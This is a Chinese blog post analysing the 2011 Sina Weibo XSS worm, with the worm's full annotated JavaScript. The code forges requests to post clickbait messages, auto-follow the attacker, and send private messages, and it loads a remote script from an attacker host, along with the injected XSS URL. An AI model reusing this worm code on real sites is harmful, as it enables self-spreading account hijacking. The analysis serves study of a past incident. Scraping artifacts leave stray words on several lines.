新浪微博老蠕蟲代碼分析

逛酷殼看到2011年新浪那次比較大的XSS蠕蟲傳播事件,Post上給出了蠕蟲的代碼,正好最近實習須要在狂補前端的各類,正好拿來分析下,菜分析,牛無視。php

事件的通過線索以下:html

  • 20:14,開始有大量帶V的認證用戶中招轉發蠕蟲
  • 20:30,2kt.cn中的病毒頁面沒法訪問
  • 20:32,新浪微博中hellosamy用戶沒法訪問
  • 21:02,新浪漏洞修補完畢

該蠕蟲代碼沒什麼難度,都是常規的一些請求僞造,分析目的就是爲了在真實***事件中學習Xss Payload編寫思路,分析過程簡單的寫到註釋裏了。前端

這個蠕蟲的三大功能:web

發表微博->關注***者微博賬號->遍歷關注用戶列表併發送私信數組

  
  
  
  
  1. function createXHR(){ //建立XMLHttp對象,沒啥好說的  
  2.     return window.XMLHttpRequest?  
  3.     new XMLHttpRequest():  
  4.     new ActiveXObject("Microsoft.XMLHTTP");  
  5. }  
  6. function getappkey(url){  
  7.     xmlHttp = createXHR();  
  8.     xmlHttp.open("GET",url,false); //獲取AppKey不採用異步執行,等待請求返回  
  9.     xmlHttp.send();  
  10.     result = xmlHttp.responseText;  
  11.     id_arr = '';  
  12.     id = result.match(/namecard=\"true\" title=\"[^\"]*/g);   
  13.         //正則匹配出AppKey數組,包含每一個被收聽用戶的uid  
  14.     for(i=0;i<id.length;i++){  
  15.         sum = id[i].toString().split('"')[3];//從新提取整理  
  16.         id_arr += sum + '||';  
  17.     }  
  18.     return id_arr;  
  19. }  
  20. function random_msg(){  
  21.     link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;  
  22.     //使用短地址服務,構造XSS傳播鏈接  
  23.     //http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/p_w_picpaths/t.js%3E%3C/script%3E?type=update 
  24.     //隱藏本身的惡意js腳本  
  25.     var msgs = [ //話題列表  
  26.         '郭美美事件的一些未注意到的細節:',  
  27.         '建黨大業中穿幫的地方:',  
  28.         '讓女人心動的100句詩歌:',  
  29.         '3D肉團團高清普通話版種子:',  
  30.         '這是傳說中的神仙眷侶啊:',  
  31.         '驚爆!范冰冰豔照真流出了:',  
  32.         '楊冪被爆屢次被潛規則:',  
  33.         '傻仔拿錘子去搶銀行:',  
  34.         '能夠監聽別人手機的軟件:',  
  35.         '個稅起徵點有望提到4000:'];  
  36.     var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;   
  37.        //隨機選取話題,加上以前的傳播鏈接做爲微博內容  
  38.     msg = encodeURIComponent(msg); //對內容進行Url編碼  
  39.     return msg;  
  40. }  
  41. function post(url,data,sync){ //Ajax部分,沒啥可說的  
  42.     xmlHttp = createXHR();  
  43.     xmlHttp.open("POST",url,sync);  
  44.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
  45.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");  
  46.     xmlHttp.send(data);  
  47. }  
  48. function publish(){  
  49.     url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); //構造微博發表完成的Url  
  50.     data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; //使用random_msg生成隨機話題  
  51.     post(url,data,true); //使用XmlHttpRequest發送請求  
  52. }  
  53. function follow(){  
  54.     url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); //自動關注的Url  
  55.     data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';   
  56. //使用當前頁面存儲的$CONFIG.$uid構造自動關注數據包  
  57.     post(url,data,true); //經過XMLHttpRequest發送請求  
  58. }  
  59. function message(){  
  60.     url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; //構造用戶關注用戶列表頁Url  
  61.     ids = getappkey(url); //獲取被關注用戶的Appkey數組  
  62.     id = ids.split('||'); //分割出每一個被關注用戶的Appkey  
  63.     for(i=0;i<id.length - 1 & i<5;i++){  
  64.         //構造私信發送Url  
  65.         msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();   
  66.         msg = random_msg();  
  67.         msg = encodeURIComponent(msg);  
  68.         user = encodeURIComponent(encodeURIComponent(id[i]));  
  69.         data = 'content=' + msg + '&name=' + user + '&retcode=';  
  70.         post(msgurl,data,false);//經過XmlHttpRequest發送請求  
  71.     }  
  72. }  
  73. function main(){  
  74.     try{  
  75.         publish(); //模擬發表微博  
  76.     }  
  77.     catch(e){}  
  78.     try{  
  79.         follow(); //模擬關注用戶  
  80.     }  
  81.     catch(e){}  
  82.     try{  
  83.         message(); //模擬發送私信  
  84.     }  
  85.     catch(e){}  
  86. }  
  87. try{  
  88.     //在當前body尾部插入存放在遠端的Xss惡意腳本  
  89.    x="g=document.createElement('script');g.src='http://www.2kt.cn/p_w_picpaths/t.js';document.body.appendChild(g)";window.opener.eval(x);  
  90. }  
  91. catch(e){}  
  92. main();  
  93. var t=setTimeout('location="http://weibo.com/pub/topic";',5000);  
  94. //等待5秒跳轉到微話題頁面 

 

從Js中獲取各類當前用戶信息,沒什麼可塗的。併發

相關文章
相關標籤/搜索